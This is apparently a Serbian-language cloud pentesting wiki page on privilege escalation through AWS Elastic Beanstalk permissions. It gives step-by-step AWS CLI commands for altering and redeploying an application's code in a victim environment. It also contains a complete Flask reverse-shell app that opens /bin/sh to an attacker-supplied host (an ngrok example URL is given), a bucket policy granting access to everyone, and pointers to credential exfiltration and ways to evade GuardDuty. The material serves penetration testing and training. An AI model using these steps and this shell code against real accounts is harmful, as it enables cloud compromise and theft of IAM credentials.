# AWS - Elastic Beanstalk Privesc

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## Elastic Beanstalk

Više **informacija o Elastic Beanstalk** u:

{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}

> [!WARNING]
> Da biste izvršili osetljive radnje u Beanstalk-u, biće vam potrebne **mnoge osetljive dozvole u mnogim različitim servisima**. Možete proveriti, na primer, dozvole koje su date **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**

### `elasticbeanstalk:RebuildEnvironment`, S3 dozvole za pisanje i mnoge druge

Sa **dozvolama za pisanje nad S3 bucket-om** koji sadrži **kod** okruženja i dozvolama za **ponovno izgradnju** aplikacije (potrebno je `elasticbeanstalk:RebuildEnvironment` i još nekoliko povezanih sa `S3`, `EC2` i `Cloudformation`), možete **modifikovati** **kod**, **ponovo izgraditi** aplikaciju i sledeći put kada pristupite aplikaciji, ona će **izvršiti vaš novi kod**, omogućavajući napadaču da kompromituje aplikaciju i IAM uloge njene kredencijale.
```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
```
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i još mnogo toga...

Pomenute, plus nekoliko **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** dozvola su neophodne za kreiranje osnovnog Elastic Beanstalk scenarija od nule.

- Kreirajte AWS Elastic Beanstalk aplikaciju:
```bash
aws elasticbeanstalk create-application --application-name MyApp
```
- Kreirajte AWS Elastic Beanstalk okruženje ([**podržane platforme**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
```bash
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
```
Ako je okruženje već kreirano i **ne želite da kreirate novo**, možete jednostavno **ažurirati** postojeće.

- Pakujte svoj aplikacioni kod i zavisnosti u ZIP datoteku:
```python
zip -r MyApp.zip .
```
- Otvorite ZIP datoteku u S3 kofu:
```python
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
```
- Kreirajte verziju aplikacije AWS Elastic Beanstalk:
```css
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
```
- Implementirajte verziju aplikacije u vaše AWS Elastic Beanstalk okruženje:
```bash
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
```
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`

Prvo što treba da uradite je da kreirate **legitiman Beanstalk okruženje** sa **kodom** koji želite da pokrenete u **žrtvi** prateći **prethodne korake**. Potencijalno jednostavan **zip** koji sadrži ova **2 fajla**:

{{#tabs }}
{{#tab name="application.py" }}
```python
from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()
```
{{#endtab }}

{{#tab name="requirements.txt" }}
```
click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1
```
{{#endtab }}
{{#endtabs }}

Kada imate **svoju Beanstalk okolinu koja radi** vašu rev shell, vreme je da je **migrate** u **žrtvinu** okolinu. Da biste to uradili, potrebno je da **ažurirate Bucket Policy** vašeg beanstalk S3 bucket-a kako bi **žrtva mogla da mu pristupi** (Napomena: ovo će **otvoriti** Bucket za **SVE**):
```json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
```

```bash
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
```
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